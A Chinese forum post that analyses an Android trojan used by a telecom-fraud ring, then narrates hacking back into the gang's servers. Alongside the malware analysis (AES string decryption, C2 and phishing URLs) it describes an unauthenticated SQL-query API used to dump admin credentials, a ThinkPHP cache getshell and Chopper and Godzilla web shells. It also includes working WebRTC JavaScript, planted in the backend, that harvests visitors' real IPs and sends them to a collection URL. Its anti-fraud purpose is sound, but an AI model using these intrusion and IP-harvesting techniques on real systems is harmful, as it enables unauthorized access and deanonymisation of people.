查看: 6142|回复: 0

【APP分析】揭秘电信诈骗之无声息转走资金

[复制链接]
匿名
匿名  发表于 2022-12-30 20:52:40 |阅读模式
作者:btc001

新人第一次发帖,如果有什么错误请告知!
前几天朋友给了一份apk木马让我分析看看
直接放到dex2jar里面跑一下
简单信息
CBRC
Ver:1.0(1)
Package:com.sbr.chidi7.bvd1
SDKVer:8
TargetSDKVer:
Support-Screens:small normal large

发现所有变量都采用了加密

qw1.jpg


然后找了一下发现了解密方法

qw2.jpg



[AppleScript] 纯文本查看 复制代码
private static byte[] decode(byte[] paramArrayOfbyte, String paramString) {    try {      SecretKeySpec secretKeySpec = new SecretKeySpec(paramString.getBytes(), "AES");      Cipher cipher = Cipher.getInstance("AES");      cipher.init(2, secretKeySpec);      return cipher.doFinal(paramArrayOfbyte);    } catch (Exception exception) {      exception.printStackTrace();      return null;    }   }


发现是ase加密 需要找一下解密密钥globalPass

qw3.jpg


往上翻了翻找到了

qw4.jpg


又发现密钥使用了encodeToMD516加密

[AppleScript] 纯文本查看 复制代码
private static String encodePass(String paramString) {    return encodeToMD516(paramString).toLowerCase();  }


往下查找encodeToMD51


[AppleScript] 纯文本查看 复制代码
public static String encodeToMD516(String paramString) {    return encodeToMD5(paramString).substring(8, 24);  }


发现密钥是md5加密取8到24位16字符
b768e64a0bb611cf

他的解密过程就是
[AppleScript] 纯文本查看 复制代码
ScKit-311005e8a0ecf5f58652705a6816d825d1d0c2094d678ea7f476850d379475b8f2c69841aaa8ce2d7085ab17f7613b79

取红色区域然后使用ase-ecb解密

qw5.jpg


加密的变量太多,一个一个跑太慢 ,直接上fd抓包

发现了两条通信网址
1.

qw6.jpg


浏览器访问是一个钓鱼界面
2.

qw7.jpg


每秒都在请求
浏览器访问报错
[AppleScript] 纯文本查看 复制代码
org.springframework.web.util.NestedServletException: Request processing failed; nested exception is java.lang.NullPointerException        org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:973)        org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:852)        javax.servlet.http.HttpServlet.service(HttpServlet.java:624)        org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:837)        javax.servlet.http.HttpServlet.service(HttpServlet.java:731)        org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)        org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:88)        org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:107)root cause


然后我又跑回去解密变量看看有啥发现,一点有用的信息都没有,唯一的一点发现里面信息提示都是繁体字
至此app分析到此,没有任何头绪,
然后换了思路搜索一下/WebMobileD1/phoneajax/index.do url
找到了https://www.52pojie.cn/thread-1160084-1-1.html这个帖子
看了一下 发现跟我这个木马是一个家族只不过更新了一下混淆+加密变量
我就不在重复一遍这个木马的危害性了。
然后有了服务器ip地址该做什么了?当然搞他了。

首先尝试分析钓鱼页面 ****.com/d1/ 走了一遍流程后
1.****.com/d1/index.php 钓鱼首页

qw8.jpg


2.****.com/d1/BANK.php选择银行

qw9.jpg


3.****.com/d1/FORM.php 输入个人银行信息

qw10.jpg


最后提交给****.com/d1/OK.php 存储

尝试了注入无解,然后尝试了查询服务器ip端口  发现开启了8080 然后在ip后面加上端口访问

qw11.jpg


发现tomcat后台文件被删除 暴力破解就没有办法了,然后尝试使用Ladon扫描,没有发现任何有用的信息。
我当时的感觉是到此为止了,然后又想起来了如果这是一个团队作案,指定会有以前的痕迹,然后尝试扫描已知域名的二级域名,被我发现了一个的二级域名解析,解析时间也相近

qw12.jpg


由于已知木马的服务器ip 发现这个ip跟木马服务器ip一致
然后尝试了访问这个域名发现显示404,进展不好目前所收集的信息
木马服务器ip *.*.*.*79已知网址  https://web.*****.com/d1 (钓鱼页面)未知网址  http://app.*****.com(推测是下载木马的域名)

这些信息没啥卵用,然后灵机一动发现钓鱼页面是证书,那么为什么app这个不带域名证书呢,然后我加了s去访问查看域名证书详细又发现了一个新的域名

qw13.jpg


虽然过期了,但是他们曾经使用过
然后查询这个域名最近一段时间的解析记录发现了另外一个服务器ip
*.*.*.*72
这个ip地址跟木马服务器ip是同段的,感觉是同一机房的几率较大
然后搜索这个服务器ip关联记录发现了好多域名,有很多二级域名头跟钓鱼网址一致,可以判断这台服务器就是他们之前使用的服务器。
然后尝试扫描域名发现了俩个还在运行的网站
h****.******.vip----*.*.*.*72(zj盘)
******.vip-----*.*.*.*72(xnb盘)
然后尝试报错看看有没有开启错误提示,发现了zj盘是tp3.1.3 xnb盘是tp6.0
尝试了已知的tp注入都没有好使,然后尝试zj盘和xnb盘后台路径爆破
得到了h****.******.vip/admin.php
尝试了一翻发现进度不理想,然后利用了我们万能的搜索引擎。
找到了类型的源码,随便找了一份下载。
尝试同资源文件比对,发现是同一份源码,
那么就尝试登录一下安装教程里的账户密码,发现前台能登录
但是没有什么注入点,找到了KindEditor上传但是已经是4.1.7版本,没有了上传漏洞。
进度就尴尬到这了,最后没办法了只能尝试这份源码有未知的后门,尝试用护卫*扫描,发现真干净什么也没有,那怕误报都没有。
只能审计代码了,发现一个sql查询不需要权限的api
[AppleScript] 纯文本查看 复制代码
/**                 * 异步获取数据返回Json                 * @Param [string] $sTable       [表名]                 * @Param  [string] $sIndexColumn [主键名]                 * @param  [array] $aColumns     [查询的字段]                 * @Return [json]               []                 */                public function get($sTable,$sIndexColumn,$aColumns=['logtime','logaccount']){


那么如果已知数据库表名 加上要查询的字段是不是就可以返回了mysql数据?
然后尝试了一下 发现真的可以,那么我直接就查询了后台账户表名 返回了账户和密码
密码一看就是md5加密,找到网站破解 得到了8位数字密码
使用前文说到的后台地址直接登入了后台。
然后尝试tp3.1.3缓存生成shell 发现可以,那么就直接就上菜刀,链接成功后传了哥斯拉
链接成功后发现木马的源码、钓鱼的源码(前面说到扫描了端口有个端口让我相当耳目一新8888,目测是bt),
然后尝试修改资源文件,使用木马服务器ip访问发现不存在,那就证明我已经拿到手的服务器跟木马服务器不是同一个。
其实到这已经可以不用进行下去了,信息收集的差不多了。
木马源代码
钓鱼源代码
访问日志
但是我还是要尝试一下,所以去审计了木马的源代码发现一个上传文件的漏洞,在木马服务器尝试上传发现成功,那么木马服务器也已经到手了。
/www/server/tomcat/logs/ 提取访问日志,发现都是梯子访问的 没有真实ip,然后让我想到了在论坛看到某bt使用WebRTC获取真实ip的帖子,那么我也可以啊然后使用js写了一段获取ip的代码

[AppleScript] 纯文本查看 复制代码
function getUserIP(onNewIP) {            var myPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;            var pc = new myPeerConnection({iceServers: [{urls: "stun:stun.l.google.com:19302"}]}),            noop = function() {},            localIPs = {},            ipRegex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/g,            key;
            function ipIterate(ip) {               if (!localIPs[ip]) onNewIP(ip);               localIPs[ip] = true;            }
            pc.createDataChannel("");
            pc.createOffer(function(sdp) {               sdp.sdp.split('\n').forEach(function(line) {                  if (line.indexOf('candidate') < 0) return;                  line.match(ipRegex).forEach(ipIterate);               });               pc.setLocalDescription(sdp, noop, noop);            }, noop);
            pc.onicecandidate = function(ice) {               if (!ice || !ice.candidate || !ice.candidate.candidate || !ice.candidate.candidate.match(ipRegex)) return;               ice.candidate.candidate.match(ipRegex).forEach(ipIterate);            };         }
getUserIP(function(ip){        var url="收集ip地址"+ip;    var xmlhttp1=new XMLHttpRequest();     xmlhttp1.open("GET", url, true);    xmlhttp1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");    xmlhttp1.send(null);  });


然后把这段js放到了木马后台top.jsp里,就在收集ip地址上等着信息了
没过几秒钟就发现ip信息来了

qw14.jpg


短短几分钟已经有7 80条ip信息了,更加证明这是一个团伙。
至此把我所收集的信息全部发给了朋友。

别看我说的过程很简单,其实太费时间了,从开始分析apk开始到结束用了5天时间,期间尝试注入就遇到了很多问题,tp3.1.3已知的漏洞根本不好使,我又去分析了tp框架源码才找到了一个可以getshell的漏洞,由于还没有公开,所以我就没有详细介绍这段的过程。
上篇文章我看到有人在问国内魔改系统还会不会改通信录,其实是可以的,他不是单单这一个木马,从我收集的来看至少10多个木马。

从我收集的信息来看 我个人认为这是一个电诈团队,幕后老板和木马维护团队在台湾省,电服团队在印尼。
骗人流程:
1.冒充公检法说你银行账户异常,需要提供下载app提供银行资料,受害者相信后,下载了app,这个时候你已经中了木马,手机信息,通信录已经被上传到了木马后台。
2.然后骗子在后台看到你提交的银行信息后,在后台设置好你的通信录,和隐藏指定的号码短信。
3.然后利用你提交的银行信息执行转账或者购买充值卡,正常来说你应该收到银行转账的短信,但是已经被骗子的木马拦截了,你根本不知道,还在苦苦等待,在你等待的时候银行卡里的钱早就没有了。

受害群众多数是留学生、老人、香港、澳门地区人群。
先定位受害群众个人信息,然后冒充定位好的部门,如果受害者是yq地区那么就发送yq提示短信,让受害者下载app,然后利用特定话术开始打电话,当你信任了骗子第一步那么你就步入了骗子给你编造好的结局。
而就怕你感觉你被骗就是结局了,其实远远不是,我分析木马发现还有个功能是群发短信,如果骗子用你的手机群发短信给你通信录里的朋友、同学、亲戚,那么上当的不单单是你一个,那会是一个很庞大的分散的局。

所以我想说大家一定要下载国家反诈app,不要盲目相信短信和电话下载未知app,只要涉及转账汇款一定要小心!
所以我想说大家一定要下载国家反诈app,不要盲目相信短信和电话下载未知app,只要涉及转账汇款一定要小心!
所以我想说大家一定要下载国家反诈app,不要盲目相信短信和电话下载未知app,只要涉及转账汇款一定要小心!


qw15.jpg


可以明确看到可以添加手机通讯录

qw16.jpg


可以看到可以设置 拨打姓名 拨打号码 然后转接的号码 这个功能就是你想打123 但是真实打的是456

qw17.jpg


利用你的手机给任意人发送短信

此次揭秘到此为止!


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

GMT+8, 2024-4-19 14:59 , Processed in 0.045811 second(s), 12 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部